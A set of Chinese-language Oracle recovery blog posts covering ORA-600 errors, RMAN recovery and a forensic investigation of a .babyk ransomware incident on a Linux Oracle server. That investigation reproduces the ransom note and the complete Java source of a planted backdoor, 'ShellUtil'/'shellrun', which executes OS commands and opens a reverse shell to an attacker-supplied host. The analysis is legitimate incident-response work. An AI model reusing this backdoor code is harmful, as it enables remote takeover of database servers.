Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
ORA-308 signalled during: ALTER DATABASE RECOVER    CONTINUE DEFAULT  ...
Wed May 28 18:26:38 2025
ALTER DATABASE RECOVER    CONTINUE DEFAULT  
Wed May 28 18:26:38 2025
Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
ORA-308 signalled during: ALTER DATABASE RECOVER    CONTINUE DEFAULT  ...
Wed May 28 18:26:38 2025
ALTER DATABASE RECOVER CANCEL 
Wed May 28 18:26:40 2025
Media Recovery Canceled
Completed: ALTER DATABASE RECOVER CANCEL

这个客户运气还不错,带库中的需要恢复的归档日志都还在,通过指定带库通道,直接recover datafile成功

RUN {
  ALLOCATE CHANNEL ch1 DEVICE TYPE 'sbt_tape' 
  PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch1)";
  ALLOCATE CHANNEL ch2 DEVICE TYPE 'sbt_tape' 
  PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch2)";
 recover datafile 14;
}

至此完美解决该问题,通过这个case,的出来的经验有:
1. 数据库重启之后,要检查数据库日志和查询数据库数据文件状态(主要防止一些不太常用的文件异常,不能及时发现)
2. 需要需要数据库的基本情况,比如备份,容灾,asm磁盘组冗余,存储冗余,网络冗余等情况,这样出现问题好排查解决

linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源

最近有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台)
文件加密结果
文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件

README_babyk.txt文件内容

                            ___                                                     
 ______  ______  ______   .'   `.                           ______  ______  ______  
|______||______||______| /  .-.  \  .--.   _ .--.   .--.   |______||______||______| 
 ______  ______  ______  | |   | |/ .'`\ \[ '/'`\ \( (`\]   ______  ______  ______  
|______||______||______| \  `-'  /| \__. | | \__/ | `'.'.  |______||______||______| 
                          `.___.'  '.__.'  | ;.__/ [\__) )                          
                                          [__|                                      

                                        
=========================================================
What Happened to My Computer?

Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. 
=========================================================

=========================================================
Can I Recover My Files?

Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
=========================================================

=========================================================
How Do I Pay?

Your Encryption ID:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Payment is accepted in BTC only. If you don't know what's BTC, please Google for 
information on how to buy and pay for BTC.

Send $6000 worth of BTC to this address:

bc1q2p280472y0ssqcr6lhzz3qxxgevg3a63ewacl9

After the payment is completed, Please send your encryption ID and proof of payment to our email.
We will reply to the decryption program to your email address.
=========================================================

=========================================================
How to Contact Us?

aip6jmb@tuta.io
setack@tuta.io

=========================================================

*Warning: Don't try to decrypt by yourself, you may permanently damage your files.

然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:
解密成功文件大小和文件尾部

解密失败文件大小和文件尾部

通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)

被勒索加密源头分析
通过解密成功的system01.dbf文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun

create or replace function shellrun(methodName varchar2,
                                    params     varchar2,
                                    encoding   varchar2) return varchar2 as
  language java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';

分析对应的java相关的ShellUtil,检查发现有以下部分

进一步分析ShellUtil中内容

create or replace and compile java source named "ShellUtil" as
import java.io.*;
import java.net.Socket;
import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{
    public static String run(String methodName, String params, String encoding) {
        String res = "";
        if (methodName.equals("exec")) {
            res = ShellUtil.exec(params, encoding);
        }else if (methodName.equals("connectback")) {
            String ip = params.substring(0, params.indexOf("^"));
            String port = params.substring(params.indexOf("^") + 1);
            res = ShellUtil.connectBack(ip, Integer.parseInt(port));
        }else {
            res = "unkown methodName";
        }
        return res;
    }

    public static String exec(String command, String encoding) {
        StringBuffer result = new StringBuffer();
        try {
            String[] finalCommand;
            if (System.getProperty("os.name").toLowerCase().contains("windows")) {
                String systemRootvariable;
                try {
                    systemRootvariable = System.getenv("SystemRoot");
                }
                catch (ClassCastException e) {
                    systemRootvariable = System.getProperty("SystemRoot");
                }
                finalCommand = new String[3];
                finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
                finalCommand[1] = "/c";
                finalCommand[2] = command;
            } else { // Linux or Unix System
                finalCommand = new String[3];
                finalCommand[0] = "/bin/sh";
                finalCommand[1] = "-c";
                finalCommand[2] = command;
            }
            BufferedReader readerIn = null;
            BufferedReader readerError = null;
            try {
                readerIn = new BufferedReader(new InputStreamReader
                    (Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
                String stemp = "";
                while ((stemp = readerIn.readLine()) != null){
                    result.append(stemp).append("\n");
                }
            }catch (Exception e){
                result.append(e.toString());
            }finally {
                if (readerIn != null) {
                    readerIn.close();
                }
            }
            try {
                readerError = new BufferedReader(new InputStreamReader
              (Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
                String stemp = "";
                while ((stemp = readerError.readLine()) != null){
                    result.append(stemp).append("\n");
                }
            }catch (Exception e){
                result.append(e.toString());
            }finally {
                if (readerError != null) {
                    readerError.close();
                }
            }
        } catch (Exception e) {
            result.append(e.toString());
        }
        return result.toString();
    }

    public static String connectBack(String ip, int port) {
        class StreamConnector extends Thread {
            InputStream sp;
            OutputStream gh;

            StreamConnector(InputStream sp, OutputStream gh) {
                this.sp = sp;
                this.gh = gh;
            }
            @Override
            public void run() {
                BufferedReader xp = null;
                BufferedWriter ydg = null;
                try {
                    xp = new BufferedReader(new InputStreamReader(this.sp));
                    ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                    char buffer[] = new char[1024];
                    int length;
                    while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                        ydg.write(buffer, 0, length);
                        ydg.flush();
                    }
                } catch (Exception e) {}
                try {
                    if (xp != null) {
                        xp.close();
                    }
                    if (ydg != null) {
                        ydg.close();
                    }
                } catch (Exception e) {
                }
            }
        }
        try {
            String sp;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                sp = new String("/bin/sh");
            } else {
                sp = new String("cmd.exe");
            }
            Socket sk = new Socket(ip, port);
            Process ps = Runtime.getRuntime().exec(sp);
            (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
            (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
        } catch (Exception e) {
        }
        return "^OK^";
    }
}

这些程序的创建时间分析

这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认

ORA-600 ksvworkmsgalloc: bad reaper

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：ORA-600 ksvworkmsgalloc: bad reaper

有一个朋友说他们想把12c的库还原到19c版本中然后进行升级测试,结果在打开库的过程中发现几个错误,让我给帮忙分析下
resetlogs 报ORA-00392 ORA-00312

SQL> alter database open resetlogs upgrade;
alter database open resetlogs upgrade
*
ERROR at line 1:
ORA-00392: log 7 of thread 1 is being cleared, operation not allowed
ORA-00312: online log 7 thread 1: '/DBS1/data/NDBS/onlinelog/redo07_m1.log '
ORA-00312: online log 7 thread 1: '/DBS1/arch/NDBS/onlinelog/redo07_m2.log '

这个错误一般是由于redo状态不对,比如标记为了CLEARING_CURRENT,处理操作

SQL> select group#,status from v$log;

          GROUP# STATUS
---------------- ----------------
               1 CLEARING
               2 CLEARING
               3 CLEARING
               4 CLEARING
              10 CLEARING
               6 CLEARING
               7 CLEARING_CURRENT
               8 CLEARING
               9 CLEARING
               5 CLEARING

10 rows selected.


SQL> alter database clear logfile group 7;

Database altered.

SQL> select group#,status from v$log;

          GROUP# STATUS
---------------- ----------------
               1 CLEARING
               2 CLEARING
               3 CLEARING
               4 CLEARING
              10 CLEARING
               6 CLEARING
               7 CURRENT
               8 CLEARING
               9 CLEARING
               5 CLEARING

10 rows selected.

再次reseltogs报ORA-600 ksvworkmsgalloc: bad reaper错误

SQL> alter database open resetlogs upgrade;
alter database open resetlogs upgrade
*
ERROR at line 1:
ORA-00600: internal error code, arguments: [ksvworkmsgalloc: bad reaper], [0x080010003], [], [], []

这个错误通过查询MOS 发现Open Resetlogs Fail with ORA-00600[ksvworkmsgalloc: bad reaper] (Doc ID 2728106.1)文章中描述,由于non-ASM to ASM环境redo文件在clear的时候触发该问题

是由于db_create_online_log_dest_1参数没有设置导致,对于该库是由asm环境到文件系统,估计也是在resetlogs的时候clear redo报出来该错误,解决办法给该库设置上
db_create_online_log_dest_1=/DBS1/data,db_create_online_log_dest_2=/DBS1/arch,然后打开库成功

ORA-600 krccfl_chunk故障处理

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：ORA-600 krccfl_chunk故障处理

一个数据库启动包ORA-600 krccfl_chunk错误

2025-05-06T10:37:47.428203+08:00
Completed: ALTER DATABASE MOUNT /* db agent *//* {2:50212:2} */
ALTER DATABASE OPEN /* db agent *//* {2:50212:2} */
2025-05-06T10:37:47.433709+08:00
This instance was first to open
Block change tracking file is current.
Ping without log force is disabled:
  not an Exadata system.
start recovery: pdb 0, passed in flags x4 (domain enable 5) 
2025-05-06T10:37:48.203383+08:00
Beginning crash recovery of 2 threads
2025-05-06T10:37:48.568120+08:00
 parallel recovery started with 32 processes
2025-05-06T10:37:48.610951+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.611037+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.611243+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.611438+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.614947+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.616591+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.617188+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.617253+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.617428+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.617606+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.617676+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.617809+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.636568+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.636568+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.636620+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.637156+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.637300+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.637881+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.637999+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.638112+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.638241+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.638304+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.638338+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.638347+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.641621+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.642926+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.643092+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.643192+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.643204+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.643372+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.643516+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.643573+08:00
start recovery: pdb 0, passed in flags x5 (domain enable 5) 
2025-05-06T10:37:48.748956+08:00
Started redo scan
2025-05-06T10:37:49.849382+08:00
Completed redo scan
 read 469347 KB redo, 1213 data blocks need recovery
2025-05-06T10:37:50.007840+08:00
Started redo application at
 Thread 1: logseq 369323, block 651514, offset 0
 Thread 2: logseq 132962, block 1319944, offset 0
2025-05-06T10:37:50.016910+08:00
Recovery of Online Redo Log: Thread 1 Group 13 Seq 369323 Reading mem 0
  Mem# 0: +DATA/orcl/ONLINELOG/group_13.349.978709791
  Mem# 1: +FRA/orcl/ONLINELOG/group_13.12992.978709793
2025-05-06T10:37:50.025725+08:00
Recovery of Online Redo Log: Thread 2 Group 18 Seq 132962 Reading mem 0
  Mem# 0: +DATA/orcl/ONLINELOG/group_18.354.978710003
  Mem# 1: +FRA/orcl/ONLINELOG/group_18.12997.978710005
2025-05-06T10:37:51.063556+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_ora_68031.trc(incident=868005)(PDBNAME=CDB$ROOT):
ORA-00600: internal error code, arguments: [krccfl_chunk], [0x7F9BBB30BE58], [166528],[],[],[],[],[],[],[],[],[]
Incident details in: /u01/app/oracle/diag/rdbms/orcl/orcl2/incident/incdir_868005/orcl2_ora_68031_i868005.trc
2025-05-06T10:37:52.269823+08:00
Dumping diagnostic data in directory=[cdmp_20250506103752],requested by(instance=2,osid=68031),summary=[incident=868005].
2025-05-06T10:37:52.306517+08:00
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2025-05-06T10:37:52.310723+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.310813+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.310820+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.310853+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.310902+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.310907+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.310945+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.310950+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.310987+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.311002+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.311009+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.311017+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.311055+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311055+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.311064+08:00
Slave encountered ORA-10388 exception during crash recovery
2025-05-06T10:37:52.311071+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311080+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311107+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311119+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311126+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311135+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p000_69617.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311156+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311184+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311203+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311205+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311211+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p001_69619.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311276+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p002_69621.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311276+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311280+08:00
Recovery slave process is holding some recovery locks. Killing the instance now.
2025-05-06T10:37:52.311308+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p003_69623.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311329+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p004_69625.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311341+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p005_69627.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311345+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p007_69631.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311353+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p008_69633.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311374+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p006_69629.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311386+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p009_69635.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311402+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p00a_69637.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311513+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p00c_69641.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.311515+08:00
Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p00b_69639.trc:
ORA-10388: parallel query server interrupt (failure)
2025-05-06T10:37:52.348331+08:00
USER (ospid: 69617): terminating the instance due to error 10388
2025-05-06T10:37:52.585589+08:00
System state dump requested by (instance=2, osid=69617 (P000)), summary=[abnormal instance termination].
System State dumped to trace file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_diag_67490_20250506103752.trc
2025-05-06T10:37:54.016704+08:00
License high water mark = 34
2025-05-06T10:37:55.387072+08:00
Instance terminated by USER, pid = 69617
2025-05-06T10:37:55.388683+08:00
Warning: 2 processes are still attach to shmid 2850830:
 (size: 45056 bytes, creator pid: 65902, last attach/detach pid: 67492)
2025-05-06T10:37:56.018027+08:00
USER (ospid: 69907): terminating the instance
2025-05-06T10:37:56.021711+08:00
Instance terminated by USER, pid = 69907

查询mos发现类似文章:
Database doesn’t open after crash ORA-00600 [krccfl_chunk] (Doc ID 2967548.1)
Bug 33251482 – ORA-487 / ORA-600 [krccfl_chunk] : CTWR process terminated during PDB creation (Doc ID 33251482.8)

分析这个客户情况，通过trace信息:Block change tracking file is current. 可以确认是启用了BCT,而且日志信息也反应出来是pdb环境。进一步分析客户的情况,发现他们在以前有一个数据文件创建到了本地（实际是rac环境）

2024-12-23T11:07:09.168322+08:00
PDBODS(5):Completed: alter tablespace PDBODS_DATA add datafile 'D:\APP\ADMINISTRATOR\ORADATA\ORCL\USERS02.DBF'
 size 5000M autoextend on next 1000M maxsize 32000M

数据库中现在实际存储路径/u01/app/oracle/product/12.2.0.1/dbhome_1/dbs/D:APPADMINISTRATORORADATAORCLUSERS 02.DBF
基于这种情况,解决问题比较简单:在本地数据文件所在节点禁用BCT,然后open库,把数据文件拷贝到asm中即可

Oracle Recovery Tools恢复案例总结—202505

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：Oracle Recovery Tools恢复案例总结—202505

ORA-600 kddummy_blkchk 数据库循环重启

联系：手机/微信(+86 17813235971) QQ(107644445)

标题：ORA-600 kddummy_blkchk 数据库循环重启

一个运行在hp平台的10g rac突然异常,之后运行一段时间就自动重启,客户让对其进行分析和解决

Thu May  8 06:23:21 2025
ALTER DATABASE OPEN
Picked broadcast on commit scheme to generate SCNs
Thu May  8 06:23:21 2025
Thread 1 opened at log sequence 74302
  Current log# 1 seq# 74302 mem# 0: /dev/vgdata/rrac_redo01
Successful open of redo thread 1
Thu May  8 06:23:21 2025
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Thu May  8 06:23:21 2025
SMON: enabling cache recovery
Thu May  8 06:23:22 2025
Successfully onlined Undo Tablespace 1.
Thu May  8 06:23:22 2025
SMON: enabling tx recovery
Thu May  8 06:23:22 2025
Database Characterset is ZHS16CGB231280
Opening with internal Resource Manager plan
where NUMA PG = 1, CPUs = 4
replication_dependency_tracking turned off (no async multimaster replication found)
Thu May  8 06:23:23 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
ORA-00600: internal error code, arguments: [kddummy_blkchk], [118], [333578], [18019], [], [], [], []
Starting background process QMNC
QMNC started with pid=22, OS id=15792
Thu May  8 06:23:25 2025
ORACLE Instance orcl1 (pid = 13) - Error 607 encountered while recovering transaction (9, 33) on object 775794.
Thu May  8 06:23:25 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
ORA-00607: Internal error occurred while making a change to a data block
ORA-00600: internal error code, arguments: [kddummy_blkchk], [118], [333578], [18019], [], [], [], []
Thu May  8 06:23:26 2025
Completed: ALTER DATABASE OPEN
Thu May  8 06:23:26 2025
Doing block recovery for file 118 block 333578
Block recovery from logseq 74302, block 22 to scn 46740761996
Thu May  8 06:23:26 2025
Recovery of Online Redo Log: Thread 1 Group 1 Seq 74302 Reading mem 0
  Mem# 0: /dev/vgdata/rrac_redo01
Block recovery stopped at EOT rba 74302.33.16
Block recovery completed at rba 74302.33.16, scn 10.3791089036
Thu May  8 06:23:33 2025
Trace dumping is performing id=[cdmp_20250508062324]
Thu May  8 06:25:55 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
ORA-00600: internal error code, arguments: [kddummy_blkchk], [118], [333578], [18019], [], [], [], []
Thu May  8 06:25:58 2025
ORACLE Instance orcl1 (pid = 13) - Error 607 encountered while recovering transaction (9, 33) on object 775794.
Thu May  8 06:27:32 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
ORA-00600: internal error code, arguments: [kddummy_blkchk], [118], [333578], [18019], [], [], [], []
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
Doing block recovery for file 118 block 333578
Block recovery from logseq 74302, block 372 to scn 46740952565
Thu May  8 06:27:41 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
ORA-00600: internal error code, arguments: [kddummy_blkchk], [118], [333578], [18019], [], [], [], []
ORACLE Instance orcl1 (pid = 13) - Error 607 encountered while recovering transaction (9, 33) on object 775794.
Thu May  8 06:27:43 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
ORA-00607: Internal error occurred while making a change to a data block
ORA-00600: internal error code, arguments: [kddummy_blkchk], [118], [333578], [18019], [], [], [], []
Doing block recovery for file 118 block 333578
Block recovery from logseq 74302, block 372 to scn 46740952565
Thu May  8 06:27:45 2025
Recovery of Online Redo Log: Thread 1 Group 1 Seq 74302 Reading mem 0
  Mem# 0: /dev/vgdata/rrac_redo01
Block recovery completed at rba 74302.394.16, scn 10.3791279606
Thu May  8 06:27:47 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_smon_15721.trc:
ORA-00600: internal error code, arguments: [kddummy_blkchk], [118], [333578], [18019], [], [], [], []
Thu May  8 06:28:07 2025
Errors in file /users/oracle/admin/orcl/bdump/orcl1_pmon_15690.trc:
ORA-00474: SMON process terminated with error
Thu May  8 06:28:07 2025
PMON: terminating instance due to error 474

这个数据库重启是由于smon进程异常导致数据库关闭,然后rac自动拉起数据库,从而出现了循环重启启动,smon异常的主要原因是由于“ORACLE Instance orcl1 (pid = 13) – Error 607 encountered while recovering transaction (9, 33) on object 775794.”这个表示有实物要回滚,但是遇到了ORA-600 kddummy_blkchk异常,无法完成回滚从而使得smon进程异常进而使得数据实例crash.对于这个问题处理相对比较简单
1. 通过ORA-600 kddummy_blkchk找出来报错对象

ORA-00600: internal error code, arguments: [kddummy_blkchk], [a], [b], 1

ARGUMENTS:
Arg [a] Absolute file number
Arg [b] Block number
Arg 1 Internal error code returned from kcbchk() which indicates the problem encountered.

2. 屏蔽实物回滚,打开数据库,然后对通过dba_extents 查询出来的对象/或者根据事务报错的object信息查询出来对象进行重建,完成本次恢复任务

关于ORA-00600: internal error code, arguments: [kddummy_blkchk], [a], [b], 相关目前已知bug

Bug	Fixed	Description
12349316	11.2.0.4, 12.1.0.2, 12.2.0.1	DBMS_SPACE_ADMIN.TABLESPACE_FIX_BITMAPS fails with ORA-600 [kddummy_blkchk] / ORA-600 [kdBlkCheckError] / ORA-607
17325413	11.2.0.3.BP23, 11.2.0.4.2, 11.2.0.4.BP04, 12.1.0.1.3, 12.1.0.2, 12.2.0.1	Drop column with DEFAULT value and NOT NULL definition ends up with Dropped Column Data still on Disk leading to Corruption
13715932	11.2.0.4, 12.1.0.1	ORA-600 [kddummy_blkchk] [18038] while adding extents to a large datafile
12417369	11.2.0.2.5, 11.2.0.2.BP13, 11.2.0.2.GIPSU05, 11.2.0.3, 12.1.0.1	Block corruption from rollback on compressed table
10324526	10.2.0.5.4, 11.1.0.7.8, 11.2.0.2.3, 11.2.0.2.BP06, 11.2.0.3, 12.1.0.1	ORA-600 [kddummy_blkchk] [6106] / corruption on COMPRESS table in TTS
10113224	11.2.0.3, 12.1.0.1	Index coalesce may generate invalid redo if blocks in the buffer cache are invalid/corrupted
9726702	11.2.0.3, 12.1.0.1	DBMS_SPACE_ADMIN.assm_segment_verify reports HWM related inconsistencies
9724970	11.2.0.1.BP08, 11.2.0.2.2, 11.2.0.2.BP02, 11.2.0.3, 12.1.0.1	Block Corruption with PDML UPDATE. ORA_600 [4511] OERI[kdblkcheckerror] by block check
9711859	10.2.0.5.1, 11.1.0.7.6, 11.2.0.2, 12.1.0.1	ORA-600 [ktsptrn_fix-extmap] / ORA-600 [kdblkcheckerror] during extent allocation caused by bug 8198906
9581240	11.1.0.7.9, 11.2.0.2, 12.1.0.1	Corruption / ORA-600 [kddummy_blkchk] [6101] / ORA-600 [7999] after RENAME operation during ROLLBACK
9350204	11.2.0.3, 12.1.0.1	Spurious ORA-600 [kddummy_blkchk] .. [6145] during CR operations on tables with ROWDEPENDENCIES
9231605	11.1.0.7.4, 11.2.0.1.3, 11.2.0.1.BP02, 11.2.0.2, 12.1.0.1	Block corruption with missing row on a compressed table after DELETE
9119771	11.2.0.2, 12.1.0.1	OERI [kddummy_blkchk]…[6108] from ‘SHRINK SPACE CASCADE’
9019113	11.2.0.1.BP02, 11.2.0.2, 12.1.0.1	ORA-600 [17182] ORA-7445 [memcpy] ORA-600 [kdBlkCheckError] for OLTP COMPRESS table in OLTP Compression REDO during RECOVERY
8951812	11.2.0.2, 12.1.0.1	Corrupt index by rebuild online. Possible OERI [kddummy_blkchk] by SMON
8720802	10.2.0.5, 11.2.0.1.BP07, 11.2.0.2, 12.1.0.1	Add check for row piece pointing to itself (db_block_checking,dbv,rman,analyze)
8331063	11.2.0.3, 12.1.0.1	Corrupt Undo. ORA-600 [2015] in Undo Block During Rollback
6523037	11.2.0.1.BP07, 11.2.0.2.2, 11.2.0.2.BP01, 11.2.0.3, 12.1.0.1	Corruption / ORA-600 [kddummy_blkchk] [6110] on update
8277580	11.1.0.7.2, 11.2.0.1, 11.2.0.2, 12.1.0.1	Corruption on compressed tables during Recovery and Quick Multi Delete (QMD).
9964102	11.2.0.1	OERI:2015 / OERI:kddummy_blkchk / undo corruption from supplementat logging with compressed tables
8613137	11.1.0.7.2, 11.2.0.1	ORA-600 updating table with DEFERRED constraints
